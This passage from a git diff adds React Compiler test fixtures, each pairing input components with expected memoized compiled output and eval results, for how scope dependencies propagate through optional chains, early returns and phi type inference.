+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: 4}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: undefined}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: undefined}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {},
+      prop3: {fn: identity},
+      prop4: {},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+
+import { identity } from "shared-runtime";
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo(t0) {
+  const $ = _c(15);
+  const { prop1, prop2, prop3, prop4, prop5, prop6 } = t0;
+  let t1;
+  if ($[0] !== prop1?.value) {
+    t1 = identity(prop1?.value)?.toString();
+    $[0] = prop1?.value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let t2;
+  if ($[2] !== prop2?.inner.value) {
+    t2 = identity(prop2?.inner.value)?.toString();
+    $[2] = prop2?.inner.value;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const y = t2;
+  let t3;
+  if ($[4] !== prop3 || $[5] !== prop4?.inner) {
+    t3 = prop3?.fn(prop4?.inner.value).toString();
+    $[4] = prop3;
+    $[5] = prop4?.inner;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const z = t3;
+  let t4;
+  if ($[7] !== prop5 || $[8] !== prop6?.inner) {
+    t4 = prop5?.fn(prop6?.inner.value)?.toString();
+    $[7] = prop5;
+    $[8] = prop6?.inner;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  const zz = t4;
+  let t5;
+  if ($[10] !== x || $[11] !== y || $[12] !== z || $[13] !== zz) {
+    t5 = [x, y, z, zz];
+    $[10] = x;
+    $[11] = y;
+    $[12] = z;
+    $[13] = zz;
+    $[14] = t5;
+  } else {
+    t5 = $[14];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: 3 } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: 4 } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: 4 } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: 3 } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: 4 } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: { inner: { value: undefined } },
+      prop3: { fn: identity },
+      prop4: { inner: { value: undefined } },
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+    {
+      prop1: { value: 2 },
+      prop2: {},
+      prop3: { fn: identity },
+      prop4: {},
+      prop5: { fn: identity },
+      prop6: { inner: { value: undefined } },
+    },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [null,null,null,null]
+["2","3","4","4"]
+["2","3","4",null]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'toString') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'value') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.ts
new file mode 100644
index 000000000000..48f3b2de2a72
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.ts
@@ -0,0 +1,93 @@
+// @enablePropagateDepsInHIR
+
+import {identity} from 'shared-runtime';
+
+/**
+ * identity(...)?.toString() is the outer optional, and prop?.value is the inner
+ * one.
+ * Note that prop?.
+ */
+function useFoo({
+  prop1,
+  prop2,
+  prop3,
+  prop4,
+  prop5,
+  prop6,
+}: {
+  prop1: null | {value: number};
+  prop2: null | {inner: {value: number}};
+  prop3: null | {fn: (val: any) => NonNullable<object>};
+  prop4: null | {inner: {value: number}};
+  prop5: null | {fn: (val: any) => NonNullable<object>};
+  prop6: null | {inner: {value: number}};
+}) {
+  // prop1?.value should be hoisted as the dependency of x
+  const x = identity(prop1?.value)?.toString();
+
+  // prop2?.inner.value should be hoisted as the dependency of y
+  const y = identity(prop2?.inner.value)?.toString();
+
+  // prop3 and prop4?.inner should be hoisted as the dependency of z
+  const z = prop3?.fn(prop4?.inner.value).toString();
+
+  // prop5 and prop6?.inner should be hoisted as the dependency of zz
+  const zz = prop5?.fn(prop6?.inner.value)?.toString();
+  return [x, y, z, zz];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+  ],
+  sequentialRenders: [
+    {
+      prop1: null,
+      prop2: null,
+      prop3: null,
+      prop4: null,
+      prop5: null,
+      prop6: null,
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: 4}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: 3}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: 4}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {inner: {value: undefined}},
+      prop3: {fn: identity},
+      prop4: {inner: {value: undefined}},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+    {
+      prop1: {value: 2},
+      prop2: {},
+      prop3: {fn: identity},
+      prop4: {},
+      prop5: {fn: identity},
+      prop6: {inner: {value: undefined}},
+    },
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.expect.md
new file mode 100644
index 000000000000..142fc9cefe64
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {makeObject_Primitives} from 'shared-runtime';
+
+function Component(props) {
+  const object = makeObject_Primitives();
+  if (props.cond) {
+    object.value = 1;
+    return object;
+  } else {
+    object.value = props.value;
+    return object;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, value: [0, 1, 2]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { makeObject_Primitives } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== props.cond || $[1] !== props.value) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const object = makeObject_Primitives();
+      if (props.cond) {
+        object.value = 1;
+        t0 = object;
+        break bb0;
+      } else {
+        object.value = props.value;
+        t0 = object;
+        break bb0;
+      }
+    }
+    $[0] = props.cond;
+    $[1] = props.value;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: false, value: [0, 1, 2] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"a":0,"b":"value1","c":true,"value":[0,1,2]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.js
new file mode 100644
index 000000000000..2386448adfbb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.js
@@ -0,0 +1,18 @@
+// @enablePropagateDepsInHIR
+import {makeObject_Primitives} from 'shared-runtime';
+
+function Component(props) {
+  const object = makeObject_Primitives();
+  if (props.cond) {
+    object.value = 1;
+    return object;
+  } else {
+    object.value = props.value;
+    return object;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false, value: [0, 1, 2]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.expect.md
new file mode 100644
index 000000000000..f763eea4f105
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.expect.md
@@ -0,0 +1,96 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {identity, ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+
+function Component({arg}) {
+  const data = useMemo(() => {
+    return arg?.items.edges?.nodes.map(identity);
+  }, [arg?.items.edges?.nodes]);
+  return (
+    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: null}],
+  sequentialRenders: [
+    {arg: null},
+    {arg: null},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import { identity, ValidateMemoization } from "shared-runtime";
+import { useMemo } from "react";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { arg } = t0;
+
+  arg?.items.edges?.nodes;
+  let t1;
+  if ($[0] !== arg?.items.edges?.nodes) {
+    t1 = arg?.items.edges?.nodes.map(identity);
+    $[0] = arg?.items.edges?.nodes;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const data = t1;
+
+  const t2 = arg?.items.edges?.nodes;
+  let t3;
+  if ($[2] !== t2) {
+    t3 = [t2];
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  let t4;
+  if ($[4] !== data || $[5] !== t3) {
+    t4 = <ValidateMemoization inputs={t3} output={data} />;
+    $[4] = data;
+    $[5] = t3;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arg: null }],
+  sequentialRenders: [
+    { arg: null },
+    { arg: null },
+    { arg: { items: { edges: null } } },
+    { arg: { items: { edges: null } } },
+    { arg: { items: { edges: { nodes: [1, 2, "hello"] } } } },
+    { arg: { items: { edges: { nodes: [1, 2, "hello"] } } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[null]}</div>
+<div>{"inputs":[[1,2,"hello"]],"output":[1,2,"hello"]}</div>
+<div>{"inputs":[[1,2,"hello"]],"output":[1,2,"hello"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.js
new file mode 100644
index 000000000000..d248c472f5aa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.js
@@ -0,0 +1,24 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {identity, ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+
+function Component({arg}) {
+  const data = useMemo(() => {
+    return arg?.items.edges?.nodes.map(identity);
+  }, [arg?.items.edges?.nodes]);
+  return (
+    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />
+  );
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: null}],
+  sequentialRenders: [
+    {arg: null},
+    {arg: null},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: null}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.expect.md
new file mode 100644
index 000000000000..f0dbc3448ba3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.a.b?.c.d?.e);
+    x.push(props.a?.b.c?.d.e);
+    return x;
+  }, [props.a.b.c.d.e]);
+  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import { ValidateMemoization } from "shared-runtime";
+function Component(props) {
+  const $ = _c(2);
+
+  const x$0 = [];
+  x$0.push(props?.a.b?.c.d?.e);
+  x$0.push(props.a?.b.c?.d.e);
+  let t0;
+  if ($[0] !== props.a.b.c.d.e) {
+    t0 = <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+    $[0] = props.a.b.c.d.e;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.js
new file mode 100644
index 000000000000..091912f95737
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-inverted-optionals-parallel-paths.js
@@ -0,0 +1,11 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.a.b?.c.d?.e);
+    x.push(props.a?.b.c?.d.e);
+    return x;
+  }, [props.a.b.c.d.e]);
+  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.expect.md
new file mode 100644
index 000000000000..5600df5683c8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    return x;
+  }, [props.items]);
+  return <ValidateMemoization inputs={[props.items]} output={data} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import { ValidateMemoization } from "shared-runtime";
+function Component(props) {
+  const $ = _c(7);
+  let x;
+  if ($[0] !== props.items) {
+    x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    $[0] = props.items;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  const data = x;
+  let t0;
+  if ($[2] !== props.items) {
+    t0 = [props.items];
+    $[2] = props.items;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  let t1;
+  if ($[4] !== data || $[5] !== t0) {
+    t1 = <ValidateMemoization inputs={t0} output={data} />;
+    $[4] = data;
+    $[5] = t0;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.js
new file mode 100644
index 000000000000..a3f8ba41bd88
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single-with-unconditional.js
@@ -0,0 +1,11 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    return x;
+  }, [props.items]);
+  return <ValidateMemoization inputs={[props.items]} output={data} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.expect.md
new file mode 100644
index 000000000000..8e55da462efa
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.expect.md
@@ -0,0 +1,89 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+function Component({arg}) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(arg?.items);
+    return x;
+  }, [arg?.items]);
+  return <ValidateMemoization inputs={[arg?.items]} output={data} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: {items: 2}}],
+  sequentialRenders: [
+    {arg: {items: 2}},
+    {arg: {items: 2}},
+    {arg: null},
+    {arg: null},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import { ValidateMemoization } from "shared-runtime";
+import { useMemo } from "react";
+function Component(t0) {
+  const $ = _c(7);
+  const { arg } = t0;
+
+  arg?.items;
+  let x;
+  if ($[0] !== arg?.items) {
+    x = [];
+    x.push(arg?.items);
+    $[0] = arg?.items;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  const data = x;
+  const t1 = arg?.items;
+  let t2;
+  if ($[2] !== t1) {
+    t2 = [t1];
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== data || $[5] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={data} />;
+    $[4] = data;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arg: { items: 2 } }],
+  sequentialRenders: [
+    { arg: { items: 2 } },
+    { arg: { items: 2 } },
+    { arg: null },
+    { arg: null },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[2],"output":[2]}</div>
+<div>{"inputs":[2],"output":[2]}</div>
+<div>{"inputs":[null],"output":[null]}</div>
+<div>{"inputs":[null],"output":[null]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.js
new file mode 100644
index 000000000000..8f54a0edb517
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-single.js
@@ -0,0 +1,22 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+function Component({arg}) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(arg?.items);
+    return x;
+  }, [arg?.items]);
+  return <ValidateMemoization inputs={[arg?.items]} output={data} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: {items: 2}}],
+  sequentialRenders: [
+    {arg: {items: 2}},
+    {arg: {items: 2}},
+    {arg: null},
+    {arg: null},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.expect.md
new file mode 100644
index 000000000000..08b7b14d523c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  let y = null;
+  if (props.cond) {
+    x.push(props.a);
+    // oops no memo!
+    return x;
+  } else {
+    y = foo();
+    if (props.b) {
+      return;
+    }
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(6);
+  let t0;
+  let y;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const x = [];
+      if (props.cond) {
+        x.push(props.a);
+        t0 = x;
+        break bb0;
+      } else {
+        let t1;
+        if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = foo();
+          $[5] = t1;
+        } else {
+          t1 = $[5];
+        }
+        y = t1;
+        if (props.b) {
+          t0 = undefined;
+          break bb0;
+        }
+      }
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.cond;
+    $[3] = t0;
+    $[4] = y;
+  } else {
+    t0 = $[3];
+    y = $[4];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, a: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [42]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.js
new file mode 100644
index 000000000000..d54f650c36bb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/partial-early-return-within-reactive-scope.js
@@ -0,0 +1,21 @@
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  let y = null;
+  if (props.cond) {
+    x.push(props.a);
+    // oops no memo!
+    return x;
+  } else {
+    y = foo();
+    if (props.b) {
+      return;
+    }
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, a: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.expect.md
new file mode 100644
index 000000000000..662f6c33f6ce
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/phi-type-inference-array-push-consecutive-phis.expect.md
@@ -0,0 +1,117 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {makeArray} from 'shared-runtime';
+
+function Component(props) {
+  const x = {};
+  let y;
+  if (props.cond) {
+    if (props.cond2) {
+      y = [props.value];
+    } else {
+      y = [props.value2];
+    }
+  } else {
+    y = [];
+  }
+  // This should be inferred as `<store> y` s.t. `x` can still
+  // be independently memoized. *But* this also must properly
+  // extend the mutable range of the array literals in the
+  // if/else branches
+  y.push(x);
+
+  return [x, y];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: true, cond2: true, value: 42}],
+  sequentialRenders: [
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: true, value: 42},
+    {cond: true, cond2: true, value: 3.14},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: true, cond2: false, value2: 42},
+    {cond: true, cond2: false, value2: 3.14},
+    {cond: false},
+    {cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { makeArray } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {};
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let t1;
+  if (
+    $[1] !== props.cond ||
+    $[2] !== props.cond2 ||
+    $[3] !== props.value ||
+    $[4] !== props.value2
+  ) {
+    let y;
+    if (props.cond) {
+      if (props.cond2) {
+        y = [props.value];
+      } else {
+        y = [props.value2];
+      }
+    } else {
+      y = [];
+    }
+    y.push(x);
+    t1 = [x, y];
+    $[1] = props.cond;
+    $[2] = props.cond2;
+    $[3] = props.value;
+    $[4] = props.value2;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: true, cond2: true, value: 42 }],
+  sequentialRenders: [
+    { cond: true, cond2: true, value: 3.14 },
+    { cond: true, cond2: true, value: 42 },
+    { cond: true, cond2: true, value: 3.14 },
+    { cond: true, cond2: false, value2: 3.14 },
+    { cond: true, cond2: false, value2: 42 },
+    { cond: true, cond2: false, value2: 3.14 },
+    { cond: false },
+    { cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[42,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},[42,"[[ cyclic ref *1 ]]"]]
+[{},[3.14,"[[ cyclic ref *1 ]]"]]
+[{},["[[ cyclic ref *1 ]]"]]
+[{},["[[ cyclic ref *1 ]]"]]
\ No newline at end of file
